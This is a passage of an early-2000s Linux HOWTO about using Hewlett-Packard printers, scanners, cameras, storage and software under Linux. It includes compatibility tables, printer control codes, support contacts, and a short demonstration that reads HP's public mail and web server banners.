 -g<width>x<height>  page size in pixels   | -r<res>  pixels/inch resolution
 -sDEVICE=<devname>  select device         | -dBATCH  exit after last file
 -sOutputFile=<file> select output file: - for stdout, |command for pipe,
                                         embed %d or %ld for page #
Input formats: PostScript PostScriptLevel1 PostScriptLevel2 PDF
Available devices:
   x11 bbox x11alpha x11cmyk x11gray2 x11gray4 x11mono bmpmono bmpgray
   bmpsep1 bmpsep8 bmp16 bmp256 bmp16m bmp32b deskjet djet500 laserjet
   ljetplus ljet2p ljet3 ljet3d ljet4 ljet4d lj5mono lj5gray cdeskjet
   cdjcolor cdjmono cdj550 pj pjxl pjxl300 uniprint omni bj10e bj200 bjc600
   bjc800 faxg3 faxg32d faxg4 pcxmono pcxgray pcx16 pcx256 pcx24b pcxcmyk
   pbm pbmraw pgm pgmraw pgnm pgnmraw pnm pnmraw ppm ppmraw pkm pkmraw pksm
   pksmraw tiffcrle tiffg3 tiffg32d tiffg4 tifflzw tiffpack tiff12nc
   tiff24nc psmono psgray psrgb bit bitrgb bitcmyk pngmono pnggray png16
   png256 png16m jpeg jpeggray pdfwrite pswrite epswrite pxlmono pxlcolor
   dmprt cdj880 ap3250 appledmp atx23 atx24 atx38 bmpa16 bmpa16m bmpa256
   bmpa32b bmpamono bmpasep1 bmpasep8 ccr cdj1600 cdj500 cdj670 cdj850
   cdj890 cdj970 cfax cgm24 cgm8 cgmmono cljet5pr coslw2p coslwxl cp50
   declj250 dfaxlow dfaxhigh djet500c dl2100 dnj650c eps9high eps9mid epson
   epsonc escp fs600 hl1250 hl7x0 ibmpro imagen inferno iwhi iwlo iwlq
   jetp3852 la50 la70 la75 la75plus lbp8 lj250 lj3100sw lj4dith ln03 lp2563
   lp8000 lq850 lxm5700m m8510 mgr4 mgr8 mgrgray2 mgrgray4 mgrgray8 mgrmono
   miff24 necp6 oce9050 oki182 okiibm paintjet photoex pjetxl plan9bm sgirgb
   r4081 sj48 st800 stcolor sunhmono t4693d2 t4693d4 t4693d8 tek4696 xes
   x11cmyk2 x11cmyk4 x11cmyk8 x11rg16x x11rg32x ljet4pjl lj4dithp dj505j
   picty180 pr201 pr150 pr1000 pr1000_4 jj100 bj10v bj10vh mag16 mag256
   mj700v2c mj500c mj6000c mj8000c fmpr fmlbp ml600 lbp310 lbp320 lips2p
   bjc880j lips4 lips4v escpage lp2000 npdl md50Mono md50Eco md1xMono hpijs
   DJ630 DJ6xx DJ6xxP DJ8xx DJ9xx DJ9xxVIP AP21xx hpdj md2k md5k stp lxm3200
   lx5000 lex7000 lex5700 lex3200 lex2050 gdi epl5800 epl2050 epl2050p
   alc8500 alc2000 cljet5 cljet5c nullpage
Search path:
   . : /usr/share/ghostscript/6.51/lib : /usr/share/ghostscript/6.51/vflib :
   /usr/share/ghostscript/fonts : /usr/share/fonts/default/ghostscript :
   /usr/share/fonts/default/Type1 : /usr/share/fonts/default/amspsfnt/pfb :
   /usr/share/fonts/default/cmpsfont/pfb
For more information, see /usr/share/doc/ghostscript-6.51/Use.htm.
Report bugs to bug-gs@ghostscript.com, using the form in Bug-form.htm.

This represents only the output formats compiled in the program. Other are also available. You may find a complete list of all the printers known by this software at http://www.cs.wisc.edu/~ghost/printer.html.

A ghostscript driver for supporting pcl3 is also available at http://home.t-online.de/home/Martin.Lottermoser/pcl3.html.

A list of HP printers supported may be found on the following pages : http://www.linuxprinting.org/printer_list.cgi?make=HP and http://hp.sourceforge.net/.

HP has published in April 2001 improved drivers to support inkjet printers. Cf: http://hpinkjet.sourceforge.net/.

3.2.6.2. Control codes

Ink or laser printers may be controled through control codes. The following table gives some of them :

Table 3-17. Printer Control codes

Code | Function
ESC&l1H | Tray 2
ESC&l2H | Manual tray, sheet
ESC&l3H | Manual tray, envelope
ESC&l4H | Tray 1
ESC&l5H | Tray 3
ESC&l7H | Automatic selection
ESC&l0O | Portrait
ESC&l1O | Landscape
ESC&l5A | A4
ESC(8U | HP Roman 8
ESC(10U | IBM PC-8 (CP437)
ESC(12U | IBM PC-850 (CP850)

Other control codes for PCL3 language are given on HP's Web site for deskjet and laserjet.

HP printers are of two kind of technologies : inkjet or laserjet which are detailed below.

3.2.6.2.1. Inkjet printers range (DeskJet)

Inkjet HP printers use either an own language for page description, or the PPA protocol, or also the Postscript or PCL language.

The reference site for InkJet printer is http://hpinkjet.sourceforge.net

For PPA printers, consult also http://sourceforge.net/projects/pnm2ppa

Note that most inkjet printers are limited to a 600x600 resolution when used from Unix/Linux.

3.2.6.2.2. The InkJet range

LaserJet HP printers use PCL or Postscript page description language.

The reference site for LaserJet printer is http://hp.sourceforge.net

3.2.7. Digital imaging product range

3.2.7.1. The scanners range (ScanJet)

The main tool available in Linux environment to manage scanners is SANE (Scanner Access Now Easy). This software provides in particular a driver for HP scanner management: hpbackend.

The following table provides all information on the support for this hardware by Linux.

Table 3-18. Scanners and Linux

Reference | Scanner | Interface | Linux support | Tested
C9195A | ScanJet Plus | HP Parallel Interface Card | SANE and driver | No
C1750A | ScanJet IIc | SCSI | SANE | No
C2500A, C2507A, C2508A, C2509A | ScanJet IICX | SCSI | SANE | No
C1790A, C1797A, C1798A, C1799A | ScanJet IIP | SCSI | SANE | No
C2520A, C2527A, C2528A, C2529A | ScanJet 3C | SCSI | SANE | No
C2570A | ScanJet 3P | SCSI | SANE | No
C2520B, C2527B, C2527D, C2528B, C2529B | ScanJet 4C | SCSI | SANE | No
C1130B | ScanJet 4P | SCSI | SANE | No
C5110A, C5116A, C5117A, C5119A | ScanJet 5P | SCSI | SANE | No
C5160A, C5167A | ScanJet 5S | ??? | ??? | No
 | ScanJet 2100C | driver USB | ??? | No
C8500A | ScanJet 2200C | Parallel Port | ??? | No
C7167A | ScanJet 3200C | Parallel Port | ??? | No
C7680A | ScanJet 3300C | USB | SANE and driver USB | No
C7727A | ScanJet 3400C | Parallel Port or USB | SANE and driver PPSCSI or driver USB | No
C6290A, C6292A, C6293A, C7297A | ScanJet 4100C, Cse, Cxi | USB | SANE and driver USB | No
C7177A | ScanJet 4200C | USB | SANE and driver USB | No
C7737A | ScanJet 4300C | Parallel Port or USB | SANE and driver PPSCSI or driver USB | No
C9877A, C9887A | ScanJet 4400C | ??? | ??? | No
C5190A, C5192A, C5193A, C5197A | ScanJet 5100C, Cse, Cxi | Parallel Port | SANE and driver PPSCSI | No
C5190A, C7192A, C7193A | ScanJet 5200C | Parallel Port or USB | SANE and driver PPSCSI or driver USB | Yes
C7697A, C8477A | ScanJet 5300C, 5370C | Parallel Port or USB | SANE and driver PPSCSI or driver USB (driver hp5300) | No
C8517A, C9857A, C9867A | ScanJet 5400C | ??? | ??? | Yes
C6260A, C6266A, C6267A, C6269A | ScanJet 6100C | SCSI | SANE | No
C6270A, C6272A, C6273A, C6274A, C6275A, C7277A, C6278A | ScanJet 6200C, Cse, Cxi, 6250C | SCSI or USB | SANE or driver USB | Yes
C7677A, C7678A, C7679A | ScanJet 6300C, Cse, Cxi, 6350C, 6390C | SCSI or USB | SANE or driver USB | Yes
C7717A, C7718A, C7719A | ScanJet 7400C | ??? | ??? | Yes
C5100A | PhotoSmart PhotoScanner | SCSI | SANE | Yes

A FAQ dedicated to HP scanners support under Linux with SANE is available at the address : http://www.kirchgessner.net/sanehpfaq.html

Some usefull adresses for USB scanners should be consulted : http://www.buzzard.org.uk/jonathan/scanners-usb.html and http://www.qbik.ch/usb/devices/search_res.php3?pattern=hp

3.2.7.2. Digital photo cameras

To use these peripherals, you have to compile SCSI support with your kernel, and turn on mass storage device in USB support. Then mount the /dev/sdxx device as usual.

The following table provides all information on the support for this hardware by Linux.

Table 3-19. Cameras and Linux

Reference | Camera | Interface | Linux support | Tested
C8890A | PhotoSmart 215 | driver USB | ??? | No
C8452A | PhotoSmart 315 | driver USB | gPhoto | Yes
C8908A | PhotoSmart 612 | driver USB | ??? | No
C6324A | PhotoSmart 618 | driver USB | gPhoto | Yes
C8913A | PhotoSmart 715 | driver USB | ??? | No
C6326A | PhotoSmart 912 | driver USB | gPhoto | Yes

3.2.7.3. The Digital Sender

This product is a scanner, able to send the result of the digitalisation through e-mail, by sending the digitalised document as an attachement in PDF format. It may so well be used with a Linux (or other) mail server (sendmail, postfix, ...), as well as with clients reading their messages under Linux, providing they have a tool to display PDF file such as Acrobat Reader or xpdf.

The Digital Sender can also send images as black and white or colour TIFF files. The black and white images work fine, however, there is a problem with the coloured TIFF files. These are sent in an obsolete format which is not supported by libtiff, which is the basis of support for the TIFF format for nearly all Linux software. This means that you cannot directly open colour TIFF images created by the Digital Sender using Linux software (e.g. The GIMP, ImageMagick).

3.2.7.4. The CapShare

THere is an application for the Window Maker window manager to manage the CapShare. More information at http://www.netjunki.org/projects/index.php

3.2.8. All-in-one range (OfficeJet)

These products gather many functions : printing (all), scanning (all), copying (all), and faxing (some).

More information from their dedicated web site : http://hpoj.sourceforge.net/suplist.shtml

3.2.9. The Storage products range

3.2.9.1. Tape based products

Most HP SCSI tape drives (DAT 1, 2, 3, 4, DLT, LTO) work with Linux. the driver file to use is /dev/st0 for the first drive, /dev/st1, for the second...

More information may be found on the certification site http://www.linuxtapecert.org/

HP provides the tapeware software with its drives, including a Linux version.

Colorado Trakker 250 and 350 are supported with ftape (>= 4.02) T1000 should also work correctly. Colorado 5GB are supported with the paride driver.

3.2.9.1.1. HP libraries

Tools to manage such drives may be found on http://mtx.sourceforge.net/ or http://www.arkeia.com/ or http://www.strusel007.de/linux/changer.html. I had the chance to test models 6x24, 418, 718, 818 with arkeia without problem.

3.2.9.2. HP SureStore Virtual Array

These systems are supported in a mixed environment Windows NT/2K, HP-UX 11.0 and Linux. They are connected through Fibre Channel controlers to the SAN. Among all FC cards supported on Linux, HP supoprts those provided by Emulex and QLogic. HP sells a Linux version of the management software for these arrays. Supported models are VA7100 (A6183A), VA7400.

3.2.9.3. HP XP Storage Systems

Here are the configurations supported by HP for these Storage Systems:
Redhat 6.0/6.1
Qlogic QLA2100F or QLA2200F with driver V2.23
Private Loop or Direct Fibre Attach
No boot support
XP256 has to have firmware >= 44.14.00 Mode 00
For direct attach XP512/48 has to have firmware >= 11.22.00 Mode 00
For attachment to a switch XP512/48 has to have firmware >= 12.19.00

Redhat 6.2
Emulex LP8000 with driver V4.10g
Private Loop or Direct Fibre Attach
No boot support
For attachment to a switch use Brocade 2400/2800 with firmware >= V2.1.9f)
XP512/48 has to have firmware >= 12.19.00 Mode 00

Khalid Aziz reports that there may be a problem with XP512 support of Linux due to a hole in LUN numbers. If the LUNs were numbered continuously, you would see all LUNs. Some folks in HP have written patches for this. Essentially all that is needed is to add an entry in device_list[] in scsi_scan.c for the XP512 and set the flag BLIST_SPARSELUN. The entry would look something like:
{ "HP", "XP512", "*", BLIST_SPARSELUN}
The first field is the vendor name as reported by XP512 and second field is the model name as reported by XP512. These two need to match what XP512 returns in Inquiry command, exactly.

Previous | Home | Next
Linux and HP products | Up | HP software and free software


HP as an Open Source Software user and contributor

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 3. Linux and HP products Next

3.6. HP as an Open Source Software user and contributor

HP doesn't make a lot of noise in the free software world, even if it is an actor and also a user for its own IT infrastructure. For example, all the incoming mail in HP goes through PostFix servers
#dig hp.com -t mx | grep MX
;;      hp.com, type = MX, class = IN
hp.com.                 21m28s IN MX    50 cossmtp.hp.com.
hp.com.                 21m28s IN MX    50 palsmtp.hp.com.
hp.com.                 21m28s IN MX    20 postal.agilent.com.
hp.com.                 21m28s IN MX    10 envelope.hp.com.
hp.com.                 21m28s IN MX    10 letter.hp.com.
hp.com.                 21m28s IN MX    20 stamp.agilent.com.
hp.com.                 21m28s IN MX    30 cossmtpx.hp.com.
hp.com.                 21m28s IN MX    50 atlsmtp.hp.com.
#telnet envelope.hp.com 25
Trying 192.151.10.4...
Connected to envelope.hp.com.
Escape character is '^]'.
220 envelope.hp.com ESMTP Postfix
QUIT
221 Bye
Connection closed by foreign host.
#telnet letter.hp.com 25
Trying 192.151.10.3...
Connected to letter.hp.com.
Escape character is '^]'.
220 letter.hp.com ESMTP Postfix
QUIT
221 Bye
Connection closed by foreign host.
#telnet postal.agilent.com 25
Trying 192.6.9.3...
Connected to postal.agilent.com.
Escape character is '^]'.
220 postal.agilent.com ESMTP Postfix
QUIT
221 Bye
Connection closed by foreign host.

Identically, for its institutional Web server, HP uses Apache as more than 15 millions of other sites.
#wget -S http://www.hp.com/
--15:09:45--  http://www.hp.com:80/
           => `index.html.1'
Connecting to www.hp.com:80... connected!
HTTP request sent, awaiting response... 200 OK
2 Date: Fri, 05 May 2000 13:12:25 GMT
3 Server: Apache/1.3.9 (Unix) mod_fastcgi/2.2.2
[...]

Agilent (old-HP branch) uses also the free software Perl for CAD as related at http://perl.oreilly.com/news/agilent_0300.html

HP also worked on the improvement of the proxy-cache Squid , as related at http://www.hpl.hp.com/techreports/1999/HPL-1999-142.html

In another domain, HP produces also documents to help convincing to the use of Open Soure Software, as this HP Labs report available on http://lib.hpl.hp.com/techpubs/2001/HPL-2001-233.html

A lot of HP people work on open source projects. They deserve a particular notice because, as in every open source project, their tenacious and constant comportment make these projects alive. Among them:

David Mosberger and Stéphane Eranian

Port of the Linux kernel on IA-64 http://www.linuxia64.org/.

Grant Grundler, John S. Marvin and Paul Bame

Major contributor of the Linux kernel port on Pa-Risc http://www.parisc-linux.org/.

Jean Tourrilhes

Wireless Tools for Linux http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html.

John H. Oleinik and David Suffield

Projet HP imprimante jet d'encre http://hpinkjet.sourceforge.net/.

Dann Frazier

System Imager http://www.systemimager.org.

Peter Mellquist

SNMP++ http://rosegarden.external.hp.com/snmp++.

Previous | Home | Next
Training on HP Linux solutions | Up | Solutions and Sizing


Linux and HP products

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 3. Linux and HP products

Table of Contents
3.1. Informations on HP products and Linux
3.2. HP hardware supported by Linux
3.3. HP software and free software
3.4. Support of HP solutions under Linux
3.5. Training on HP Linux solutions
3.6. HP as an Open Source Software user and contributor

To maintain such a chapter is an endless task :-).

3.1. Informations on HP products and Linux

3.1.1. General information

HP became recently concious of the importance taken by Linux and free software in general, and on its machines particularly. Thus a web site dedicated to Linux in HP environment is now available at http://www.hp.com/go/linux.

In France, there is for a longer time a site on these themes, under the responsability of Jacques Misselis <Jacques_Misselis@hp.com>, hosted by l'École Centrale de Lyon at the address http://hpwww.ec-lyon.fr/hpeduc/education.

On the other side, the firm Medasys for which I worked between 1996 and 2000, put at disposition of the community a certain number of information since 1997, available at http://www.medasys.fr/linux. This HOWTO is the result of this work.

HP also realised a synthesis document (PDF format) concerning his position in front of Linux, the White Paper HP Linux Strategy (1999-04).

HP is a member or sponsor of Linux International,Open Source Development Lab, and Linux Standard Base.

3.1.2. Particular announces

HP also communicates through its web site around Linux and free software. You'll find some links here.

  • FireHunter announce (10/06/1998)

    http://www.hp.com/communications/solutions/isp/tools/pressroom/releases/pr032999a.html

  • Covision program announce (01/27/1999)

    http://www.hp.com/pressrel/jan99/27jan99b.htm

  • Linux support on NetServers and IA-64 announce (01/27/1999)

    http://www.hp.com/pressrel/jan99/27jan99.htm

  • PA-Risc port announce (03/01/1999)

    http://www.hp.com/pressrel/mar99/01mar99e.htm

  • Informix HP association announce (03/02/1999)

    http://www.hp.com/pressrel/mar99/02mar99i.htm

  • Kayak Linux support (03/17/1999)

    http://www.hp.com/pressrel/mar99/17mar99e.htm

  • World Linux support announce (04/20/1999)

    http://www.hp.com/pressrel/apr99/20apr99a.htm

  • HP OpenView announces (05/17/1999)

    http://www.openview.hp.com/solutions/itsm/press/press.asp?docid=314

  • Availability of Apache on HP 3000 (Summer/1999)

    http://www.businessservers.hp.com/falladvisor/sum99/Summer99/apache.html

  • Visualize Linux support announce (06/21/1999)

    http://www.hp.com/pressrel/jun99/21jun99g.htm

  • Open Source Software commitment by HP (08/09/1999)

    http://internetsolutions.enterprise.hp.com/linux/news/PRelease4.html

  • Aberdeen group analysis on HP position on free software (08/09/1999)

    http://internetsolutions.enterprise.hp.com/linux/news/aberdeen_white_paper.html

  • HP Linux vision (01/01/2000)

    http://www.hp.com/visualize/programs/news/archive/linuxvision.html

  • HP announces the certification of its DAT and DLT products under Linux (02/02/2000)

    http://www.hp.com/pressrel/feb00/02feb00c.htm

  • HP Brings Award-winning 3-D VISUALIZE Graphics to Linux Desktop (02/02/2000)

    http://www.hp.com/pressrel/feb00/02feb00b.htm and http://internetsolutions.enterprise.hp.com/linux/feb02page.html

  • HP and Intel Release IA-64 Developer's Kit for Linux (06/13/2000)

    http://www.hp.com/pressrel/jun00/13jun00a.htm

  • HP Announces Linux Support for State-of-the-art 3-D Graphics Accelerators (07/25/2000)

    http://www.hp.com/pressrel/jul00/25jul00b.htm

  • HP Expands Commitment to Linux (08/14/2000)

    http://www.hp.com/pressrel/aug00/14aug00.htm

  • HP adds Linux support for its Chai appliance platform Software (09/26/2000)

    http://www.linux.hp.com/news_events/press_releases/linux_chai.html

  • HP NetServers make Linux Hum for Solid State Design

    http://netserver.hp.com/netserver/docs/download.asp?file=cs_solid.pdf

  • Medasys chosen by Hewlett-Packard France Education/Research as Linux competence center

    http://hpwww.ec-lyon.fr/hpeduc/education/offre/linux/educ_linux.html

  • Hewlett-Packard France Education/Research announces commitment to Linux promotion

    http://hpwww.ec-lyon.fr/hpeduc/education/offre/linux/hp_linux.html

  • HP's open letter to the Open source Community (10/18/2000)

    http://www.linux.hp.com/news_events/open_letter.html

  • HP Ultrium Tape Drives Certified to be Linux Compatible (11/21/2000)

    http://www.hp.com/hpinfo/newsroom/press/21nov00b.htm

  • Bruce Perens, Open Source advocate, joins HP (12/04/2000)

    http://www.itworld.com/Comp/2362/LWD010404hpdrivers/:w!

  • OSDL opens today with 19 sponsors including HP (01/24/2001)

    http://www.hp.com/hpinfo/newsroom/press/24jan01b.htm

  • HP Extends Linux Support for Enterprise Solutions (01/31/2001)

    http://www.hp.com/hpinfo/newsroom/press/31jan01a.htm

  • HP's commitment for Linux during Linux-Expo Paris 2001 (02/02/2001)

    http://www.france.hp.com/main/une/temoignages/linux/expo.php3

  • HP opens print driver source code (04/04/2001)

    http://www.linux.hp.com/news_events/perens.html

  • EMEA announces around Linux (Trusted Linux, Mandrake Certification, ...) (08/2/2001)

    http://www.HyPer-Linux.org/HP-HOWTO/mirror/Press/PREMEA20010822.pdf

  • B. Maillard Interview (HP France) (08/24/2001)

    http://solutions.journaldunet.com/itws/010824_it_hp_maillard.shtml

  • HP Expands Open Source Offerings with Linux Security Software and Embedded Software Platform for Intelligent Devices (08/27/2001)

    http://www.hp.com/hpinfo/newsroom/press/27aug01b.htm

  • HP Builds Supercomputer from Off-the-Shelf Parts (Oct. 2001)

    http://www.hpl.hp.com/news/2001/oct-dec/supercomputer.html

  • HP's Linux stratégy

    http://www.hpbriefingroom.com/north_america/linux/index.html

  • HP, Red Hat Provide Selected Universities Worldwide with Grants of Red Hat Linux Software

    http://www.hp.com/hpinfo/newsroom/press/06nov01a.htm

  • I've participated to a conference organised by Cyperus during the Linux-Expo Paris 2001. You could see it at this address rtsp://discovery.oleane.net:554/2001/janvier/linuxexpo/linux207.rm

HP France has also published an article on Linux and free software in its May 1999 issue of HP Computer News, an article on HP Linux support in the September 1999 issue, and an article on Linux RedHat solutions on HP Visualize workstation in the November 1999 issue.

Previous | Home | Next
Linux and other operating systems |  | HP hardware supported by Linux


HP software and free software

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 3. Linux and HP products Next

3.3. HP software and free software

This section presents rapidly some HP applications which can be used under Linux. These are either commercial applications or freeware applications.

It proposes also links to free software available for other operating systems (HP-UX, MPE/IX).

3.3.1. HP softwares under Linux

FireHunter

This commercial software targetted to the ISP manages services levels and is available for RedHat version 5.2 distributions. http://www.firehunter.com.

HP Eloquence

This commercial software is an IDE for management applications for small business firms and is available under Linux since 1997. A lot of distributions are supported by a third party firm to which HP has given the support. Complementary information exist on the site http://www.hp-eloquence.com.

HP WebJetAdmin

This freeware allows to manage HP network printers through the installation of a service on a Linux server, and is accessible from any browser running on any client machine. HP has announced the availability of this product the fisrt time in 5.1 version in February 1999. Then were released version 5.6 in December 1999, 6.0 version in June 2000, 6.1 version in August 2000, 6.5 version in October 2001. You may download the latest version at ftp://ftp.hp.com/pub/networking/software/hpwebjet_linux.selfx. All information on this product are available from the addresses : http://www.hp.com/go/webjetadmin and http://www.hp.com/pond/wja/live/manual/html/wjacomp_linux.html.

The 5.6 version in RPM format is also available at http://www.HyPer-Linux.org/HP-HOWTO/mirror/Software/hpwebjet-5.6-1.i386.rpm.

HP WebQoS

This commercial software allows to manage Internet Quality of Service by stabilizing performances during high loads, by optimizing used resources, and by managing priorities at applications and users levels. HP has announced the availability of this product during summer 1999. Complementary information exist on the site http://www.hp.com/go/webqos.

HP OpenView

This commercial software is a complete network management platform. An NNM (Network Node Manager) has been announced, as well as ITO. NNM and ITO agents are currently available for Linux. An Omniback client is available for Redhat 5.2 distributions (Cf http://www.hp.com/storage/event/openview_hl.html).

Precision from F. Lorrain: The Omniback II (A.03.50) client run without problem under debian potato (2.2r3) and Mandrake 7.2. But on debian, you need the libnns1-compat.

HP OpenMail

A version of this commercial mail and work group management tool is available since the first of september, 1999 under Linux. Till November the 13th, 2001, the software has been taken over by Samsung SDS. Informations concerning it are available on the page : http://www.openmail.com.

HP E-Speak

E-Speak, the open software platform for creating, composing, mediating, managing, and accessing Internet-based e-services. E-speak allows a resource (computing device, application, or data content) to be virtualized and re-deployed as an Internet-based e-service. All information concerning it are available on the page : http://www.e-speak.hp.com/.

HP MC Service Guard

This commercial software allows to manage a high availability cluster of applications. HP has announced the availability of this product for the 15th of November 2001. Complementary information exist on the site http://www.unixsolutions.hp.com/products/ha/prod/ar/mcsg.html. Reference : T1521A.

Plug-in Scheduler policies for Linux

This patch enables you to write and use loadable kernel modules to change your Linux machine's scheduler policies without rebooting. It's available at http://resourcemanagement.unixsolutions.hp.com/WaRM/schedpolicy.html.

PRM for Linux

This commercial tool allows you to monitor CPU ressources on your machine by partitioning it. http://resourcemanagement.unixsolutions.hp.com/WaRM/prm_linux/index.html.

HP TopTools Agent for Linux

This freeware is a DMI agent increasing the ease of management of HP Machines under Linux. Downlaodable from http://hp-linux.org/toptools and http://www.hp.com/toptools/download/server_agents.html.

dummynet

This free software is FTP server perf measurement tool. Downloadable at ftp://ftp.cup.hp.com/dist/networking/tools/dummynet/.

netperf

This free software is a perf measurement tool for benchmarks. Downlaodable from ftp://ftp.cup.hp.com/dist/networking/benchmarks/netperf.

hp-lx (aka Trusted Linux aka Secure Linux)

This commercial software is a modified version of a RedHat distribution, containing kernel patches and daemons (GPL), as well as a set of management commands (commercial) allowing you to create jail compartments to execute applications, running so in an absolute secure environment. The software also controls file access, inter-process and network communications, ... More information on http://www.hp.com/security/products/linux/.

Chai Server

This free software is an embedded Web-based application server. More information on https://devnet.hp.com/projects/csopen/.

Jupiter/Kelvin

Kelvin is an application programming interface (API) project dedicated for the interactive visualization of large geometric models. http://www.gris.uni-tuebingen.de/~bartz/kelvin/.

Service Control Manager

This commercial software is a secure single-point of adminstration for both Linux and HP-UX multi-system environments. http://www.hp.com/products1/linux/software/scm.html.

HP AS (Bluestone)

This commercial software is a service-oriented application server. http://www.bluestone.com.

3.3.2. Third party softwares linked to HP for Linux

GNUPro

HP and Cygnus Solutions have announced the 8th of March, 1999 a partnership to provide the GNUPro tools on all the HP machines, including Linux.

Arkeia

Arkeia is a network backup solution supporting perfectly all HP storage peripherals (autoloader, libraries, ...)

3.3.3. Free softwares under HP-UX

Numerous free software for HP-UX are available at http://hpux.cs.utah.edu/. HP hosts also a certain number of free software tools for HP-UX at http://h21007.www2.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,10312,00.html

Hp proposes also tools to help porting Linux applications to HP-UX. Cf: http://devresource.hp.com/LPK/ and http://devresource.hp.com/STKL/index.html.

An open source version of hpterm may be found on http://sourceforge.net/projects/hpterm/.

KDE 2.1 s also available for HP-UX.

3.3.4. Free softwares under MPE/IX

Numerous free software for MPE/IX are available at http://jazz.external.hp.com/src

An HP700/92 terminal emulator is available at http://www.aics-research.com/qcterm/

Previous | Home | Next
HP hardware supported by Linux | Up | Support of HP solutions under Linux


Support of HP solutions under Linux

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 3. Linux and HP products Next

3.4. Support of HP solutions under Linux

HP proposes since May 1999 a worldwide support offer on Linux. This offer includes up to the possibility to answer 24x7, in a delay of 2 hours after taking the call. The reference of this product is : HP LNXIA32A

HP proposes since 2001 a "Mission Critical support" contract for his Linux customers.

HP has also online ressources to help people using Linux with its products :

Online Linux incidents

http://hp3.m0.net/m/s.asp?H1409133998X725229

Linux training courses

http://hp3.m0.net/m/s.asp?H1409133998X725230

Linux discussion Forum

http://hp3.m0.net/m/s.asp?H1409133998X725231

Third party firms also propose Linux and free software support on HP platforms :

Medasys

Contact : Sylvain Bergé <Sylvain.Berge@medasys.fr>

Atrid

Contact : Bruno Deschandelliers <B.Deschandelliers@atrid.fr>

Alcove

Contact : Lucien Petit <Lucien.Petit@alcove.fr>

Andago

Contact : <info@andago.com>

Previous | Home | Next
HP software and free software | Up | Training on HP Linux solutions


Training on HP Linux solutions

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Chapter 3. Linux and HP products Next

3.5. Training on HP Linux solutions

HP proposes since June 1999 a worldwide training offer on Linux. It's detailed on the page http://education.hp.com/curr-linux.htm. The detail of all the training courses for France is available at : http://www.france.hp.com/formation/f_linux_00.html.

Previous | Home | Next
Support of HP solutions under Linux | Up | HP as an Open Source Software user and contributor


HP HOWTO

Configuration Guide and Use of HP Products under Linux (Version 0.94)

Bruno Cornec

Hewlett Packard

Bruno@HyPer-Linux.org

Copyright © 1997-2001 by Bruno Cornec

This document describes the use of products available in the Hewlett-Packard (HP) catalog with Linux and some free software. It gives the state of the support for hardware, software to use, answers to some frequently asked questions and gives elements of sizing. The goals are to offer a general view of free software functions and their use at best with HP products; as well as to make new users of HP products rapidly operational and also to allow others to choose their products knowing facts.

License

This HOWTO is a free documentation thanks to Medasys and HP for whom I do that job; you may copy, redistribute and/or modify it under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, Front-Cover Texts or Back-Cover Texts. This document is distributed hoping it will be useful, but without any guaranty; you're completely responsible of its use, and couldn't complain in case it doesn't work, or even if it breaks the hardware. All the software included in it, if not already copyrighted is released under the GPL.

Table of Contents
1. Introduction
1.1. Presentation
1.1.1. New versions of this document
1.1.2. Suggestions and contributions
1.2. Aknowledgements
2. Presentation of Linux and Free Software
2.1. Some definitions
2.1.1. Free Software or Open Source software
2.1.2. Examples and counter-examples
2.1.3. Linux
2.2. Free software concepts
2.2.1. Free software philosophy
2.2.2. The choice of free software
2.2.3. Wrong ideas on free software
2.2.4. Real problems around free software
2.3. Linux and other operating systems
2.3.1. Linux and other proprietary Unix (HP-UX, Tru64, AIX, Solaris, Irix)
2.3.2. Linux and SCO/Caldera
2.3.3. Linux and Windows NT/2000/XP
3. Linux and HP products
3.1. Informations on HP products and Linux
3.1.1. General information
3.1.2. Particular announces
3.2. HP hardware supported by Linux
3.2.1. Intel based computer range
3.2.2. The monitors range
3.2.3. PA-Risc based computer range
3.2.4. The IA-64 range
3.2.5. X Terminals
3.2.6. The printing product range
3.2.7. Digital imaging product range
3.2.8. All-in-one range (OfficeJet)
3.2.9. The Storage products range
3.3. HP software and free software
3.3.1. HP softwares under Linux
3.3.2. Third party softwares linked to HP for Linux
3.3.3. Free softwares under HP-UX
3.3.4. Free softwares under MPE/IX
3.4. Support of HP solutions under Linux
3.5. Training on HP Linux solutions
3.6. HP as an Open Source Software user and contributor
4. Solutions and Sizing
4.1. Linux as file and print server
4.1.1. Linux as file server
4.1.2. Linux as print server
4.2. Internet/Intranet Linux server
4.2.1. Web Server
4.2.2. Mail Server
4.2.3. Firewall/Proxy/Web-Cache server
4.2.4. Directory server
4.3. Linux as computing server
4.4. Linux as an office server
5. Frequently Asked Questions (FAQ)
6. Customer References
7. References
8. Contributors
9. Future versions
List of Tables
2-1. Performances of Free Software
3-1. Brio and Linux
3-2. Vectra and Linux
3-3. e-PC and Linux
3-4. Kayak and Linux
3-5. Desktop computer accessories
3-6. Visualize and Linux
3-7. HP workstation and Linux
3-8. Workstations accessories
3-9. OmniBook and Linux
3-10. Mobile computer accessories
3-11. Jornada and Linux
3-12. NetServers and Linux
3-13. NetServers accessories
3-14. HP Monitors and Linux
3-15. HP IA-64 Servers and Linux
3-16. HP IA-64 Workstations and Linux
3-17. Printer Control codes
3-18. Scanners and Linux
3-19. Cameras and Linux
4-1. Sizing of a file server
4-2. Sizing of a print server
4-3. Sizing of a static Web server
4-4. Sizing of a dynamic Web server
4-5. Sizing of an e-mail server
4-6. Sizing of a Firewall/Proxy/Web-Cache server
4-7. Sizing of a LDAP server
4-8. Sizing of an office server
7-1. Web sites of HP
7-2. Other fundamental sites on Linux and Open Source Software
List of Figures
2-1. Server operating system repartition in 1998 (IDC).
2-2. Server operating system repartition in 1999 (IDC).
2-3. Web server software by Netcraft between 1995 and 2001.
2-4. Repartition of Internet servers by IOS Counter in April 1999.
Next
Introduction


Introduction

HP HOWTO: Configuration Guide and Use of HP Products under Linux (Version 0.94)
Previous Next

Chapter 1. Introduction

Table of Contents
1.1. Presentation
1.2. Aknowledgements

1.1. Presentation

